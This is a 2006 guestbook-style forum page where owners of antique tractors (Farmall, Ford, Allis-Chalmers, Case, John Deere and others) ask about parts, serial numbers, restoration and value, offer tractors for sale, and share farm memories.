Nico Visser (South Africa) wrote on Tuesday, August 08, 2006 (PDT):I got an M from an old farmer. The engine got water in it as it stood in a field for years. Pistons can be moved at least 1mm sideways inside sleeves, so it will need a new engine kit. Transmission and diff. look good. Lots of rust. The rest of the tractor is complete. Needs four new tyres. Can anyone give me an idea of what it will cost to restore my M to original condition? I guess prices will differ between S.A. and the U.S. but just for an indication.Is it possible to put a double set of wheels on the side shafts? They look long enough to me and I think it would look real nice! Does anyone have pictures of a Farmall with double rear wheels? Lekker boer! Nico
B. Bartling wrote on Tuesday, August 08, 2006 (PDT):Can you tell me what year my International Farmall B tractor was made? The model # is 8638-DE
JEROME wrote on Monday, August 07, 2006 (PDT):I HAVE A 541 OFFSET HIGH CLEAR DIESEL, I MAY BE ABLE TO HELP YOU;
Bill Gardner wrote on Monday, August 07, 2006 (PDT):I have a 1963 Fordson Super Major I bought a few years ago, I am having a terible time finding a reliable parts supplier,it is a great tractor, have cut a lot of hay with it, just wish it had power steering. A camshaft gear broke recently and the local Ford/New Holland dealers are no help at all for parts. Any information greatly appreciated. Im in East cost of North America but any reliable source is beter than none. Thanks
SCOTT DAVIS wrote on Monday, August 07, 2006 (PDT):I have the identicle Fordson as shown. Bought her for $1.00, not running, from the owner of an Avocado grove I bought in s. fl in 1995. She has been my primary tractor for the past 11 years. I have just retired her as she is in need of repair/restoration. Any info regarding shop manuals, restoration advice ect...would be appreciated.
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
Chris Nuttall wrote on Saturday, August 05, 2006 (PDT):I have just purchased a 1952/3 Fordson Major petrol in very good original condition. Brakes, hydraulics steering are all mint and all badging is original and in perfect condition. This tractor has solid cast front wheels. Can anyone tell me the correct colour scheme as a good paint job is all I need to make it like new.
guadalupe prieto wrote on Saturday, August 05, 2006 (PDT):Necesito informacion sobre el Massey Ferguson 135. Gracias
Rik Gordon wrote on Thursday, August 03, 2006 (PDT):I have one that I am rebuilding. I was running it the other day when the governor gear self destructed. It destroyed the cam gear on its way to the oil pan. I have found a cam gear but cannot find a governor assembly. Someone told me that a D-15 might work. I ne4ed this assembly to get her back running. rik
matt brahmer wrote on Tuesday, August 01, 2006 (PDT):I have a IH W4 and need draw bars and light brackets, any ideas where I can get these parts. Thank You
Jay McLaughlin wrote on Monday, July 31, 2006 (PDT): I am looking for a parts tractor to buy, for a Allis Chalmers 170...... 1968-1973 My phone is 765-623-5423 or 574-278-6387. Thankyou very much
lee gasser wrote on Sunday, July 30, 2006 (PDT):any one would like a painting of a cockshutt e-mail me I will e-mail back a picture
Paul E. Boloick wrote on Saturday, July 29, 2006 (PDT):1 A model John Deer tractor in the mid thirties to be restored. Good condition. Contact me if interested. 1-5o1-882-5486
Danny Wright wrote on Saturday, July 29, 2006 (PDT):Looking at a JD 1939 slant dash #74696 please let me know anything you can about this tractor. thanks
antonio casanova wrote on Friday, July 28, 2006 (PDT):We have a 1957 super 55 gas at our ranch.That we purchased about four years ago.Was not maintained well,but put alot of work in to it to keep her in shape.It runs great and is a work horse,it is a great tractor all around.My suggestian to you first time buyers of a super 55.Purchase a repair,operators manual and parts book first.Befor you do anything and replace all your fluids and filters.Yes sometimes parts are hard to find but are still available.Good luck
eugene john wrote on Friday, July 28, 2006 (PDT):forgot to put my telephone number down for the 420c tractor for sale 724 847 3332 best offer
eugene john wrote on Friday, July 28, 2006 (PDT):i have a 420c for sale with high lift attachment best offer
mr bob from SE ohio wrote on Friday, July 28, 2006 (PDT):In my opinion, as a longtime "Ford Man", this is my favorite of them all. For their size they must be one of the most powerful tractors ever built. This is a machine that you should be very proud and fond of.
J. Paul Holmes wrote on Friday, July 28, 2006 (PDT):I have a TO20 Ferguson tractor. I am in need of getting the governor operating correctly. If you have any pointers let me know. Also I have a spare tractor for parts. I would be willing to sell parts if you need them.
Vicky Mellady wrote on Thursday, July 27, 2006 (PDT):I love this site!!! My husband has his grandfather's Farmall B Culti-vision - The manual has a year handwritten in as 1946 with a serial # - Is there a way to verify the serial # without the left seat support bracket? The tractor looks like everything is there down to the tool box but the seat is not original. Instead of a solid pan seat it has 2 inch holes all around the seat and is sitting on a very large spring instead of seat support brackets. Any info you could offer would be appreciated as to serial # and seat. We are looking to restore and are in need of all the help we can get.
Bud Offutt wrote on Thursday, July 27, 2006 (PDT):Hello, My first time here. I have a Sr# 5616730 SC Case that is in great shape. I have a couple a questions for anyone that can answer, if it would not be to much ask.I was told it was a 1955 when I bought it? I am changing the traans. and Hyd. system oil, but can't find anyone to tell me what kind for sure. I bought Universal Transmission/Hydraulic oil from Rueal King, it is recomended for Case, but newer models. The man at RK said that is what they use in all of their tractors. I am afraid it is to thin for the transmission. Can anyone help? Thank you for the opportunity to enter this post. Bud Offutt.
ROSE lightfoot wrote on Tuesday, July 25, 2006 (PDT):I have used a model G allis chambers tractor many years ago. I really liked it. We worked for a dairy farm then. I am looking for one now (if not to expensive) Do you know of any within a reasonable distance from Memphis, Tn.? Thank You Rose
Dave J wrote on Sunday, July 23, 2006 (PDT): I recently competed in an antique tractor pull, in Cecel Co. Md. Contest was called "The Detroit Shootout" only Oliver models Super 99's 990's & Massey 98's could compete. I placed 4th with my 990, but the Gal. from Penn. came in first place with her Massey 98.Thats pretty good,going against 14 other Detroits.
Marcus Becker wrote on Saturday, July 22, 2006 (PDT):I have a case 500 diesel that I am rebuilding. I am searching for a set of heads or a parts tractor. I am located in washington state. Any help would be greaty appreciated.
Roger Ehrlich wrote on Saturday, July 22, 2006 (PDT):Oh, what memories the pictures and stories bring back! I was a young boy on an Oregon farm when by dad bought a Coop E4 about 1951, 1952(?). It was unique for its time, bought to replace a steel-wheeled Case Model L. We used it to pull 3-16" MM plow, harrows, rollers, disks, etc. Also, the live PTO was the first available, along with two creeper gears. We used the Coop to drive a Gehl field chopper, putting up silage. To be sure, it had its problems. To name a few; Repeated broken front spindles (at the L), unreliable hydraulic couplers for remote cylinder, transmission issues with a the shifter fork. But, the 6 cyclinder Buda engine (very new to the industry, competing with 4 cylinder Case, 2 cylinder John Deere R tractors -- "engine runs too fast, too many cylinders, ..."), was very strong, very reliable. It would purrrrr like a kitten in the field under load, able to be heard for long distances across open fields. We made some modifications, such as a step platform in the rear to aid in getting on/off, and splitting the rear wheel rims, adding 2", for better traction (used 13X38 tires, I think). The marketing and support for these tractors was terrible. The dealership was a local coop, with little shop experience, parts, or support. Very few were sold in the area, and the line died out in a few years.
Loyd Orne wrote on Friday, July 21, 2006 (PDT):I just bought a Leader and I'm starting from scratch. I want to contact Henry Hahn as seems to be very knowledgeable re;Leader tractors.Whst is his e-mail? Please contact me-I really need help on this one.Thaks, Loyd
Aaron Faulkner wrote on Friday, July 21, 2006 (PDT):Hello, I have an Oliver rowcrop tractor. Could you email me so I could send you a photo? What can you tell me about this tractor? Year, motor, etc.... What would this be worth, if anything?
Greg Borders wrote on Friday, July 21, 2006 (PDT):We have a Coop E3 that still runs. We are interested in selling the tractor which I believe was purchased new by my father in the early 1940's.
jon reinhardt wrote on Thursday, July 20, 2006 (PDT):I have a friend who has a fully restored co-op. He says that it was built between 1938-1941 and was called a prewar universal co-op. He would like to know more a bout it.He said the serial number stamped is exactly "D-161-3" anyone have any information for me to give him? he does not know how to use a computer. Thanks
Barney wrote on Thursday, July 20, 2006 (PDT):I purchased a 430 case diesel was told it needed a new clutch, starter was no good ,generator not working .adjusted the hand clutch reworked the starter cleaned the generator and the case sounds and run great one small problem I wou like to install power steering I have no idea how or where it goes I assume the pump connect in front of the rad can any advise me if i am the right track and where can I get the complete power steering unit Thank for your help
Howard Williams wrote on Thursday, July 20, 2006 (PDT):I have a 1952 "R". I am restoring it now and need detailed pictures of the engine area. Are all the bolts painted? Where does the wiring run on the tractor? Good photos would be great.
Joyce wrote on Wednesday, July 19, 2006 (PDT):My dad has a restored 1948 Leader Tractor for sale. It is in Ceresco, Michigan. He just finished it the first part of July 2006. Would like $4000. If you are interested please email and I'll email you pictures.
Evan wrote on Wednesday, July 19, 2006 (PDT):hi i am thinking about getting a farmall cub and i was wondering what there is for attachments for these units
Dewayne wrote on Wednesday, July 19, 2006 (PDT):I have a leader tractor in excelent condition, runs very well, hercules engine, not sure what year or model, can anyone tell me how many models were built and how to know what model i have, someone said they had one with a belt pulley, where is the pulley mounted? mine has three point and pto. also an international c-3 belly mower, works well. the engine is an IXB
larry pickering wrote on Tuesday, July 18, 2006 (PDT):i'm still looking for decals for my 1959 541 offset ford tractor.any help would be great.
Ben Davidson wrote on Tuesday, July 18, 2006 (PDT):I have two of the SCs and use them as standard survival equipment. Mow weekly. A most wonderful tractor and so nice and heavy that I don't worry about flipping over backwards pulling bailer and equipment uphill.
Jamie Johnson wrote on Monday, July 17, 2006 (PDT):A few questions, I have just purchased a 1939 b Allis Chalmers paid 1200 for it which I thought was a great price to other tractors I have been looking at? Mostly fords7,8,9 ns. Anyway it is in excellent shape and paint almost looks new not old and very clean!!! I will only be using the tractor to put in small food plots for deer hunting. Can I pull a plow with this tractor and what do you suggest so I do not over work the tractor? Can a starter be put on this tractor? I must admit when I looked at this tractor it was covered and cold and the guy had it running on the second crank, and it purred!!! Can hydraulics be added and or a three point something the fords had but where much much more expensive. Please mail me back and let me know? Thank You, Jamie
lester tienter wrote on Monday, July 17, 2006 (PDT):I used one as I grew up on the farm? it still run's great but it is a handy tractor even in the garden with its 3 point ability's.
Sheridan Marshall wrote on Monday, July 17, 2006 (PDT):Can anyone out there seid me a picture ir instructions on how to put a original sickle mower onto a 1951 C . I have to tractor with the plow on it but I also have the mower, Also I am trying to get it lisenced but need the value and I have no idea what it is worth . I painted it and put a new carb on . I also have the original front plow , mower and disk . Any help would be apreciated
Perry wrote on Monday, July 17, 2006 (PDT):Please tell me where I can find information on operateing a Russell Steam Tractor. I would like to fire one up without blowing my self up.
Kristi Moen wrote on Sunday, July 16, 2006 (PDT):My dad has a 1938 L Case Tractor that was his uncle's. He is entering the tractor in a parade and has ordered some decals for it. He is wanting to know where the decals would go on an L Case tractor. Is there anyone that would have a picture or be able to tell me where the decals are positioned on the tractor. Thanks.
timmy wrote on Thursday, July 13, 2006 (PDT):i have one, i just finished painting, it looks great. i put the decals back on, it looks like new.i don't know what year it is, i know it is between 1937-1940. if anyone know how i can tell the year. please e-mail me at tim_hoop at hotmail.com i have had this tractor for about 10 years.
Hogmuffin 81 wrote on Thursday, July 13, 2006 (PDT):the first tractor i ever drove was cockshutt 50. My grandpas. sure was a good tractor wish we never would have sold it.
Don Sticka wrote on Thursday, July 13, 2006 (PDT):I would really like to buy one of the older M/H or 150 tractors. Can you recommend a top quality place to buy these. I would also like to get a number of implements with the tractor..... Any help would be appreciated
William Farley wrote on Thursday, July 13, 2006 (PDT):In northwestern Montana, Dad owned a large Twin City tractor with steel rear wheels that were at least four feet high. These wheels contained rows of "lugs" or solid steel triangles that spiked out from the rim, providing traction in soft ground. We used the tractor to power our saw mill that we ran on our homestead. It had a PTO with an 18" pulley on the left side that was perfect for hooking up to a belt that ran to the pulley for the saw's flywheel and blade. I do not know the year or model, but remember distinctly the big "T" superimposed over the "C" in an oval just above the radiator. The engine was very powerful and smooth-running. It was started by a crank at the front and the spark was provided by a magneto. Would anyone have an idea as to its approximate model year? We used the tractor in the late 1940s to the mid 1950s. Bill Farley
Peter Enns wrote on Wednesday, July 12, 2006 (PDT):I forgot to include my email address in the above comment, if you know anything about this tractor, please send me an email at pre22487 at hotmail.com. its a 4 cylinder engine, I'm not sure if its a diesel or gas, I never have time to properly look at it.
Peter Enns wrote on Wednesday, July 12, 2006 (PDT):I work at a tractor salvage yard, and we have an old Massey Harris 44 sitting here. My uncle is interested in buying it off of us and restoring it, because he is an antique tractor enthusiast, he enjoys restoring them. We have all the stuff required to rebuild the engine on it, but i think it is missing the front grille of the tractor. is it particularly difficult to locate those things, and are they expensive to buy?
R. Edwards wrote on Wednesday, July 12, 2006 (PDT):I have a nice 1916 Model R Waterloo Boy tractor for sale. It is located in California.
Bill Fitzgerald wrote on Tuesday, July 11, 2006 (PDT):I am looking for a 550 58-59 or 63-64. WE had two and sold them back in the 70's. They left our farm painted yellow but were not industrial models. Maybe they are still somewhere in New England?
Kulley Johnson wrote on Tuesday, July 11, 2006 (PDT):I need to know how to hook external hydraulic lines for a Double action cylinder on a super 55. I have got one line on tractor dont know how to add extra lines.I need to know how to do this so i can run my hay roller.
Dewaine wrote on Tuesday, July 11, 2006 (PDT):Just bought 20 acres and found a 1940 H hideing in the woods. After talking to my new neighbor I know that it has sat for at least 30 years. I'm tring to get the courage up to tackle this project. My son really wants it to run, so I guess I have no real choice but to get started.
FARMNUT1950 wrote on Monday, July 10, 2006 (PDT):WELL, I HAVE A REAL BRAIN TEASER FOR YOU GUYS. I HAVE A 434 INTERNATIONAL. AS THE STORY GOES IT WAS BUILT FOR CANADIAN USE BUT GOT INTO THE USA AND I MADE THE MISTAKE OF BUYING IT. IT IS VERY HARD TO FIND PARTS FOR BUT IS A REALLY NICE SIZE ESTATE TRACTOR. THREE POINT AND LIVE HYDRAULICS.
Doug Grove wrote on Monday, July 10, 2006 (PDT):I'm with a small nonprofit in central Tennessee that just bought a 1949 Farmall C. We will be cleaning it up and working on a couple of mechanical issues while searching for a mower deck and other implements. If anyone can help with advice, supervision or even hands-on work (the mileage is tax deductible) it would be very greatly appreciated. I can be contacted via the contact page of our web site, www.cumberlandcentre.org. Many, many thanks! Doug
Karen Park wrote on Monday, July 10, 2006 (PDT):I am looking for a Power Takeoff Belt Pulley for a Farmall C tractor, sorry don't know the year but can find out if needed. Any help with finding parts for this tractor would be appriciated. We have just bought a mower for this and would like to get the parts as soon as possible. Preferable in Canada.
Old Thunder wrote on Sunday, July 09, 2006 (PDT):I'm looking for info on a little known 'Oliver', its a 880b or 880c, it sports twin side by side engines and cowlings, its specifically used as an Industrial machine. It was built in the 1959 to 1962 era only..?
Nick spring wrote on Sunday, July 09, 2006 (PDT):I am restoring a 1949 silverking model 42 and having some trouble finding a presureplate clutchdisk and throwout bearing any help would be appreciated.
gary carvis wrote on Sunday, July 09, 2006 (PDT):just bought a jd 2010 w/backhoe and loader. former cty vehicle in plant city fl. where is he serial number located? want to freshen the oils and filters but need the id plate...thanks
roy wimer wrote on Sunday, July 09, 2006 (PDT):I was disking with the tractor, when suddenly it stop pulling as tho it was knock out of gear. The engine kept running. I tried to unhook the disk from tractor but the power lift would not work and pto does not work when engage
James Duncan wrote on Friday, July 07, 2006 (PDT):I have a John Deere Model A tractor and my brother left water in the block and it cracked last winter. How do I fix this block- can I weld it? and what should I weld it with?
Wild Bill wrote on Friday, July 07, 2006 (PDT):This link will help you I.D. your tractor. www.tractordata.com/td/td255.html
Kristin Walch wrote on Friday, July 07, 2006 (PDT):My father has a tractor that looks similar to this one. He originally got it all in peices (in a couple of bushel baskets) and later restored it. It has rubber tires and runs fine. He always referred to it as his "New Deal" tractor. Can anyone tell me any more about this type of tractor. My father has since passed away and my family is trying to find out information regarding the tractor and also its value.
Greg D wrote on Thursday, July 06, 2006 (PDT):I have a 1923 F - 12 FS 4036 1550 Does anyone know what this is and what kind of value does this carry. It's a steel wheel farmall hand crank and the front wheel was re-placed with a rubber wheel, One owner and been sitting re painted 30 years ago and covered
B Jay M wrote on Wednesday, July 05, 2006 (PDT):Dan Shepherd, a C and a super C are very close. Most of the difference is in the engine displacement. Super C has a bigger engine.
B Jay M wrote on Wednesday, July 05, 2006 (PDT):Bubba, tell me more about your burned up tractor and the attachments it has, I am interested.
b ramgoolam wrote on Tuesday, July 04, 2006 (PDT):have an old tractor. do not know make nor model. ho can the numbers on engine block and tractor body help to identify. thanks. bishnu.
Fipeas wrote on Monday, July 03, 2006 (PDT): I need wiring diagram for my jd mt 1952 tractor-anyone know where i can find one? Thanks
Jim Fletcher wrote on Monday, July 03, 2006 (PDT):Finally found an orginal set of rear wheel extensions. A great man to do business with is "Tom" of tmtractor.com. He has new, used parts for just about any thing on a "Cub", plus a very easy to use web site with photos of everything.
Chris Schuermann wrote on Sunday, July 02, 2006 (PDT):I have a KTA that I have decided to sell. Runs very nicely and sounds solid. Needs a good cosmetic restoration. Currently on rubber tires. Located in Tulsa, OK. Please contact me if you're interested. chris
Darrell Reed wrote on Saturday, July 01, 2006 (PDT):Im looking for someone that knows about the ford 9n, i have a issue with my pto, it does not spin when the tractor is running, the fluid is fresh and the right type. i can engage the lift lever and manually spin the pto and the lift will go up, where do i go from here i am looking to fix it myself if i can Thanks Darrell
Dennis l. Koch wrote on Saturday, July 01, 2006 (PDT):Ihave a Super C that has a hydrolic operated Blade that can be possitioned under the tractor or in front of the tractor. I would like to know if it was an attachment offer by Farmall or aftermarket.
Wilber Johnson wrote on Friday, June 30, 2006 (PDT): I farmed with a 1947 UTS it had 38 inch tires on back also a1948 UTS on lp had 34 inch on back I think the s means standard tread & u means universal or row crop with narrow front & adjustable rear axel I had one of thoes also I have an lp & gasoline 1948 models in My junk line the r z u & g models had very good ruged transmissions & rear ends I live in Norton county KS.
Robert Donaldson wrote on Friday, June 30, 2006 (PDT):Just acquired a Pony for restoration. It´s Serial Number is 5490. Can you tell me the year of manufacture, please ?
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):i've never operated an"M", but have operated an "H" quite a bit. i'm wondering if the "M" has this one characteristic that i encountered with an "H". that is 5 gears foreward; there being very little difference in speed of first four, and then 5th being very fast.
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):can anyone out there tell me what my 1946 2n tractor would weigh? it has 12.4-28 rear tires loaded to the valve with calcium solution. it has a sherman stepuptranny, and a front bumper which i know weighs 100#. this tractor is also equipped with the "N COMPLETE" crossover manifold and dual pipes. this modification lets the tractor pull a given load about a gear higher than it origionally would.
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):hey bud, your tractor's serial number shows it to be a 1944 model 2n. i hope you find this tractor as useful and dependable as i have found my 1946 2n to be.
mr bob from SE ohio wrote on Tuesday, June 27, 2006 (PDT):AS A TEENAGER, I LOGGED UP MANY HOURS MOWING, BALING, PLOWING, DISCING AND ANY OTHER REQUIRED CHORE ON MY DAD,S DAIRY FARM. THE 1960 D17 WAS A POWERFUL CRITTER. WHEN IT CAMETO POWER IT WAS UNBELIEVEABLE FOR ITS SIZE. THE ONLY DOWNSIDE WAS THAT IT SUCKED UP GAS LIKE A VACUUM CLEANER. ITS DEPENDABILITY WAS SECOND TO NONE.
Rudy Carlson wrote on Tuesday, June 27, 2006 (PDT):I have a 49 JD Model B that I bought/received for graduation which needs a complete restoration. I’m learning as this is my first tractor and would like to restore it to near original condition. The tractor runs great except for one problem…one wheel needs to be replaced. I am looking for a pressed steel wheel with rim. I have a 9-hole wheel that is 10-inches wide for a 10-38 tire. It has the hand holds in it which I’d prefer, but I’d also take the solid style AND if I can find a wheel, tube and tire as a unit in good condition, so much the better. I’m located in Wisconsin and am willing to travel some to pick it up. If you have what I’m looking for or know of somebody who does, please email me with information. Thanks.
Eric Heim wrote on Tuesday, June 27, 2006 (PDT):Hi my younger brother and I pull in the tractor pulls I"M 14 and he is 12. I have an oliver 60 that im restoring and a restored allis chalmers the 60's mine I like it better than the chalmers
John Fontenot wrote on Monday, June 26, 2006 (PDT):You might try Klump tractor parts in Kinder La. Phone # is 337-738-2554.John wish I could help you more.
Chuck Whittier wrote on Monday, June 26, 2006 (PDT): I have a 1961 2010 that I bought about 5 years ago and I don't know who the idiot is that said this was the black sheep of the family- it has performed every job I set before it, from cutting with a J.D. #37 9ft. sickle mower to raking to baling with a N.H. 847 round baler. This tractor also has a farmhand F-10 loader that has a grapple fork attached and I use it for feeding in the winter because it starts better than my 3020 or my 4010 diesels. I would also like to mention that it starts in any weather and believe me Manitoba winters are damn cold. The tractor is all original and restored with nothing more than a coat of paint- the guy I bought it from only used it in the farmhand making loose hay since he bought it new. This is one great tractor and I absolutely love it.
Bert Cleaves wrote on Sunday, June 25, 2006 (PDT):I have what a farmall super C tractor. It is rare because it has the wide front tires instead od the tires close together. I think it is a 1949 but am not sure. How do you find out how to find the year? Would appriciate anything anyone has to say. Thanks Bert
Don wrote on Sunday, June 25, 2006 (PDT):I spent a lot of my summertimes during High School on a farm that had a Farmall M. The days were spent(the easy days) doing just about anything imaginable with it. There was a two-row cultivator for corn, mower for haying, three-bottom plow for spring and fall plowing. These were the attachments. We used it to pull a Case hay baler, a Case combine. Some jobs were not well suited for the M. For instance, for rotary hoeing corn, it was not fast enough in 4th gear, not quite enough power for 5th gear. Same was true for dragging or harrowing. In about 1940, the International dealer installed an extra transmission that doubled the number of speeds. After this, it was practicle to drag or rotary hoe. Some of the slight inconveniences involved the power takeoff. The transmission was designed so that if using the power takeoff, for instance, combining grain, the combine had to come to a complete stop in order to get the tractor in gear again.
Dan Shepherd wrote on Sunday, June 25, 2006 (PDT):Can someone tell me the difference between the C and super C. I bought a C from a friend and he said it was super C but I don't think it is!
arnold bacon wrote on Saturday, June 24, 2006 (PDT):i just pick ed up one of these and i would like some imformation about it.. possibly a parts manual thank you arnold E-Mail.. baconcounty1 at yahoo.com
Jeff wrote on Friday, June 23, 2006 (PDT): I have purchased a 1946 farmall h for $850 with a perry shedder. When i got it the tractor did not run and it had three bad tires but lucky for me it wasn't stuck. so i just replaced the condensor and put in in spark plugs, wires, got new tires for it and put in some fresh gas and cranked her up on the second time it turn over.But now it smokes and my dad says it prolly needs some new rings because it is a rich white smoke. But i put it in a local parade and i won the best tractor of show! it is one of the best tractors ever!
D.J. Mickens wrote on Friday, June 23, 2006 (PDT):I am looking for a front end loader for a WD-45. Are there any available in the Ohio area?
Ric Renfro wrote on Thursday, June 22, 2006 (PDT):I have a Fordson Major that I use to work aroung the place with and I need a couple of parts. I would like to restore her to a more original state if possible but find it hard to get some parts. If anyone can help here please email me. And by the way...if the guy likes his rims silver, then go for it.
Roger Scott wrote on Thursday, June 22, 2006 (PDT):I just bought a small farm and the owner wants to sell me her 1960 Ford 671 tractor. Any idea what it's worthj. it runs and they use it regularly with a bush hog to cut the field.
John Rus wrote on Thursday, June 22, 2006 (PDT):I would like to purchase a 1943 Model D Case tractor to restore. Also, I would like one for parts in restoring it. Please let me know.
Simon wrote on Wednesday, June 21, 2006 (PDT):I have a running 1953 Fiat 50 bulldozer with narrow guage tracks and a blade, could anyone tell me it's worth? Thanks, Simon.
Terri Shelby wrote on Tuesday, June 20, 2006 (PDT): I have reseceved a 1942 case tractor,runs great looks good .We use it on our horse farm can any one tell me what it would be worth if I was to sell it later right now we are teaching our kids on it.
Vernon Keith wrote on Tuesday, June 20, 2006 (PDT):We presently own a 1963 AC D-15 Series 11 Tractor. it was purchased new and is in excellent running condition. Does anyone know what a reasonalbe asking price would be
Kathlyn wrote on Tuesday, June 20, 2006 (PDT):Hi. I am looking for a picture (good one) of a 1922 Rumley Oil Pull 20-40 Model G. We have restored one and want to know exactly which decals are correct and where they go. Thanks to anyone who can help.
Lois wrote on Sunday, June 18, 2006 (PDT):I have a WC that my father-in-law gave to my husband about 35 years ago. My hubby restored it at the time but it needs to be re-done. He used it extensively before parking it - unfortunately - outside in the weather. Hubby passed away last fall and I would like to sell the tractor. It was running in 2003 when we moved - he drove it down the shoulder of the highway to our new place. Located on the North Shore of Lake Superior in Minnesota.
keith mcintosh wrote on Sunday, June 18, 2006 (PDT):I have a 2010, very dependable tractor, I use it mainly to bushhog, hauling fire wood and setting out round bales of hay. over the last 2 years hauling logs to cut for fire wood, maybe a few to large I have developed a bobbing in my hydrulics. my three point arms will bounce up and down with the smallest load. it doesn't seem to affect the amount it lifts. but i have a after market loader on it and if I have any thing on the back the loader operation is quiet bouncy. I would appreciate any infoe concerning this. i am getting ready to tear into the pump assembly, any advice or suggestions would be greatly appreciated.
Bud Loftin wrote on Saturday, June 17, 2006 (PDT):Hello, I just purchased a 9N tractor. Can any one give me the year it was manufactured and any history? Serial Number 9N149351 (The one looks like an "I". Thanks. Bud
jaack graham wrote on Friday, June 16, 2006 (PDT):I'm looking for a distributor for a 240 utility International. Can't seem to find one anywhere. The inside plate that holds the points and condenser actually bent when the springs under it broke and bound the plate up. It also sheared the pin that holds the gear that drives the hour meter or rpm meter. Would sure appreciate some help. Thanks. Jack
Alisa wrote on Friday, June 16, 2006 (PDT):I have a John Deere AO tractor probably around 1950...unsure of exact year. Fenders have not been removed. It is in fair condition...could be restored. I would like more information on this tractor and what it would be worth.
Pete O'Neil wrote on Thursday, June 15, 2006 (PDT):Hi, we have a T6 tractor serial number either T6100350 or T6700350 we are trying to figure out what year it is for a friend, if you have any information on it that would be very helpful. Thanks
Dick Diederich wrote on Thursday, June 15, 2006 (PDT):My dad had a F14 back in 1945. It was alot faster than the horeses. Then in 1950 we got a farmall c
derek schwarting wrote on Wednesday, June 14, 2006 (PDT):My grandpa bought a 460 diesel 10 years ago after that came a 560 diesel but my favorite is the 660 diesel my dad bought 7 years ago it runs good and i know they are a rare tractor only 6,945 of them built! most of them diesel mine is a 1960. IF ANYONE WANTS GOOD TRACTOR INFO GO TO TRACTORDATA.COM im just so proud i own the entire 60 series
Jacob wrote on Wednesday, June 14, 2006 (PDT):I HAVE RECENTLY LOCATED A MM UTS AND WAS WONDERING THE AMOUNT OF HORSE POWER THIS TRACTOR HAS, IF ANYONE CAN HELP THAT WOULD BE GREAT.
Steven F. wrote on Tuesday, June 13, 2006 (PDT):looking for a intact G without an engine; or with non-working engine. I'm in southeast Ohio but, willing to go some distance [500 mi. ?] to get a non-working G.
pete wrote on Tuesday, June 13, 2006 (PDT):Its good to see some one knows a 59 D17, most poeple dont know the 59s had the black grills, yours looks good
Jim Broughton wrote on Monday, June 12, 2006 (PDT):Jake; Your Cub is a late 1954 model.What do you mean "rough shape"? I bought mine several years ago with a frozen engine but otherwise in decent shape with three implements for $ 450.00...un-stuck the engine, overhauled it, repainted it and added two new front tires..now runs like a charm and works everyday on my daughter's farm ! Now, if it has a "crank", remove the spark plugs and see if it will turn over, also check condition of the oil in engine, check radiator, watch for leaks, and if all checks out, make him a reasonable offer. They are really very simple machines to work on and a pleasure to restore ! Lots of luck Jim
Ron N wrote on Monday, June 12, 2006 (PDT):I inherited a gas IH W4 tractor last year and am looking to sell. The tractor hasn't been used for about 10 years, but it was started up last year and runs OK. If anyone has any ideas on W4 pricing, I would greatly appreciate it. I am located in Manitoba, Canada.
wesley wrote on Monday, June 12, 2006 (PDT):I'm looking to find parts for a 1958 601 select A speed ford tractor. I'm also looking for a select A speed shift cable and the PTO knob. Anyone with info, please reply to the above email address (my daughters) thank you, Wes - June 12, 2006
Joe Terry wrote on Monday, June 12, 2006 (PDT):I learned to back a trailer on my Grandpa's "B". I was 10 at the time and my sister and I would go to Grandpa and Grandma's during the summer to move wood from the outdoor pile into the woodshed to dry. I think that first summer Grandpa spent more time coaching me to back the trailer than we did loading wood, but what great memories. That "B" is still on the farm and still works on a regular basis. It's a spectacular little tractor.
Misty Thrash wrote on Sunday, June 11, 2006 (PDT):My husband and I just bought a 340 series and we are wanting to find out some information about this tractor. If anyone could help me with this please email me back and let me know. It has a busch hog attachment and we just bought a farm and there are some things that we just don't know about this. Thank you for any help that you can provide about where the brake fluid goes or about manuals.
George jester wrote on Sunday, June 11, 2006 (PDT):I was giving a old Mccormick and deering tractor it looks like a horse drwn tractor. it has two thin wheels a seat and three levers, one on each side and a small one by the seat.it also has two foot brokes.if it is possible could you send me pic or web site info of what i have. thank you
Greg Sebring wrote on Sunday, June 11, 2006 (PDT):My Mother-in-Law owns a '46 "H". We use it to pull a brush hog to cut weeds only. Lately it loses power when it warms up. It starts easy all the time but when it gets up to temp, you can not make it up the ramp to get it back in the barn. It has good plugs/wires/ and proper coolant. Any "H" mechanics have an idea why the tractor loses power. Any throttle adjustment above an idle stalls it out when hot. Am I looking at valves, head gasket, or condenser? Any suggestions would be appreciated.
LancasterPA Jon wrote on Friday, June 09, 2006 (PDT):AC's are in my blood line; Grandpa (pronounced Gram Paw in my youth) owned a WD, at least one WC, 2 Bs (one with a sickle bar mower seemingly a permanent fixture and the other alternating cultivators and a 2-man planting platform for tobacco seedling transplanting) and my favorite Model G with the manual quadrant-raised front and rear cultvators. My cousin and I could easily pop wheelies by letting the clutch out quickly. (Please! Do not try this at home!) Our 70-pound physiques could not counter-balance that rear engine and Grandpa didn't employ the optional weight which mounts over the steering gear (I didn't know that part even existed until a couple of years ago when I saw one on a show tractor) What a great view of the row this little tractor offered the driver! It was a nearly perfect cultivator rig and many local owners considered it a must for raising tobacco. I think that's why so few have the plows or other available attachments. Sadly, most of the tractors were destroyed in an arson barn fire around 1970.
Roger A Lee II wrote on Friday, June 09, 2006 (PDT):Need valves for a 1530 McCormick deering tractor.
Mike Gilbert wrote on Friday, June 09, 2006 (PDT):I have a 1949 "B" with a cultivator and planter. Can some one point me to operations or parts manual for these implements, even a picture would help. I will be glad to pay costs for these irems, MIKE
Dale wrote on Thursday, June 08, 2006 (PDT):I just purchased a acreage with old barn, in the barn sits a 50 Deere, with one front wheel. Any input on this tractor would be appreciated. I do not have the serial number at this time. Thanks for the input. Dale
Doug Huffman wrote on Thursday, June 08, 2006 (PDT): F-20 electric start yes you can tell my my email address I have been a die hard John deere fan for all of my 27 years however i have just been given my granddads 1936 farmall f-20 which he baught brand new i plan to start restoring it next year Dose any one know of a company who sells a electric start kit for it I have seen my dad go flying across the barn trying to hand start it thanks Remember green rules but my granddads f-20 ranks up at the top also!!!!!
rc schmidt wrote on Thursday, June 08, 2006 (PDT):I have one of these. It is pretty rough but works good. I know that they bring good money at auction. I would sell it if I got the right price. I like this machine but like all old machines it taks a lot of attention.
